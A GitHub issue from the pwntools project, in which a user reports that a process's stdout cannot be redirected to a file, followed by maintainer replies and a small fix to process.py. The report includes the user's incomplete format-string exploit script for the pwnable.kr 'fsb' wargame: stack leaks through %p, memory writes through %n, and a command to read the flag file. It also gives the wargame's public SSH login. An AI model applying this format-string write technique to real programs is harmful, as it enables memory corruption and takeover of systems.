Repository: Gallopsled/pwntools

Issue:
Cannot set stdout in process
I am trying to exploit a format string bug, which involves me writing 0xdeadbeef amount of bytes to stdout. If I run it on the shell, pwntools blurts out a bunch of spaces on the screen which makes it unresponsive and I think it buffers for a long time. So I want to redirect stdout to /dev/null so that I can move on with my exploit. Here's my code: 

```
from pwn import *

p = process("/home/fsb/fsb", stdout=open('/dev/null', 'w+'))
key_addr = 0x0804a060
key_low = key_addr & 0xffff
key_high = (key_addr >> 16) & 0xffff
# Param 14 => 20
# Param 15 => 21
p.readuntil("strings(1)")

# GET STACK LEAK
p.sendline("%14$p.%15$p")

leaks = p.readuntil("strings(2)")
addr1, addr2  = leaks.split("\n")[1].split(".")
addr1 = int(addr1, 16)
addr2 = int(addr2, 16)
print hex(addr1), hex(addr2)

# lets now write to our leaks
p.sendline("%%%dc%%14$n" % (key_addr))
print p.readuntil("strings(3)")
# lets now write to our leaks
p.sendline("%20$04p.%21$04p")
#print p.readline()
print p.readultil("strings(4)")
# write 0's to keyaddress. 
p.sendline("%20$n%21$n")
p.sendline("0")
p.sendline("(>&2 cat flag)")

```

If I run this code I get:
```
(.venv) fsb@ubuntu:/tmp/d4rkc0de$ python exploit.py 
[+] Starting local process '/home/fsb/fsb': pid 61857
Traceback (most recent call last):
  File "exploit.py", line 3, in <module>
    p = process("/home/fsb/fsb", stdout=open('/dev/null', 'w+'))
  File "/tmp/d4rkc0de/.venv/local/lib/python2.7/site-packages/pwnlib/tubes/process.py", line 346, in __init__
    fd = self.proc.stdout.fileno()
AttributeError: 'NoneType' object has no attribute 'fileno'
[*] Stopped process '/home/fsb/fsb' (pid 61857)
(.venv) fsb@ubuntu:/tmp/d4rkc0de$
```

I am trying to solve the fsb by pwnable btw. ssh fsb@pwnable.kr -p2222 (pw:guest)


Discussion:
Although this is a real issue, setting a process' stdout to `/dev/null` is not the right thing to do here. The script will not be able to `recvuntil()` nor receive any output of the process. You should rather discard (or save in a variable) some of the output, just instead of printing it.
Yes, I believe Arusekk is right.  You should look at the docs for
tube.clean() to discard all output or tube.recvuntil() to stop on a
specific string (I see you’re already using readuntil, which is an alias).

I believe “print x.recvuntil(...)” is what is spamming your console but I’m
on mobile and the script is incomplete / incorrect (e.g. “recvuntil”).

On Fri, Mar 1, 2019 at 7:36 AM Arusekk <notifications@github.com> wrote:

> Although this is a real issue, setting a process' stdout to /dev/null is
> not the right thing to do here. The script will not be able to recvuntil()
> nor receive any output of the process. You should rather discard (or save
> in a variable) some of the output, just instead of printing it.
>
> —
> You are receiving this because you are subscribed to this thread.
> Reply to this email directly, view it on GitHub
> <https://github.com/Gallopsled/pwntools/issues/1278#issuecomment-468651127>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/AAG0GNTazFJUsLrOu4vcMsHOGlpmQT3wks5vSR63gaJpZM4bY2nD>
> .
>
-- 

*Zach Riggle*

@zachriggle @Arusekk you guys are right. I meant to remove the readuntil's in my latest script because I dont need them. Still , I raised this issue because stdout cannot point to a fd but stderr can and the docs suggest both accept a fd. I think that should be fixed.  

Resolving patch:
diff --git a/pwnlib/tubes/process.py b/pwnlib/tubes/process.py
--- a/pwnlib/tubes/process.py
+++ b/pwnlib/tubes/process.py
@@ -344,9 +344,10 @@ def __init__(self, argv = None,
 
         # Set in non-blocking mode so that a call to call recv(1000) will
         # return as soon as a the first byte is available
-        fd = self.proc.stdout.fileno()
-        fl = fcntl.fcntl(fd, fcntl.F_GETFL)
-        fcntl.fcntl(fd, fcntl.F_SETFL, fl | os.O_NONBLOCK)
+        if self.proc.stdout:
+            fd = self.proc.stdout.fileno()
+            fl = fcntl.fcntl(fd, fcntl.F_GETFL)
+            fcntl.fcntl(fd, fcntl.F_SETFL, fl | os.O_NONBLOCK)
 
         # Save off information about whether the binary is setuid / setgid
         self.uid = os.getuid()


Test patch: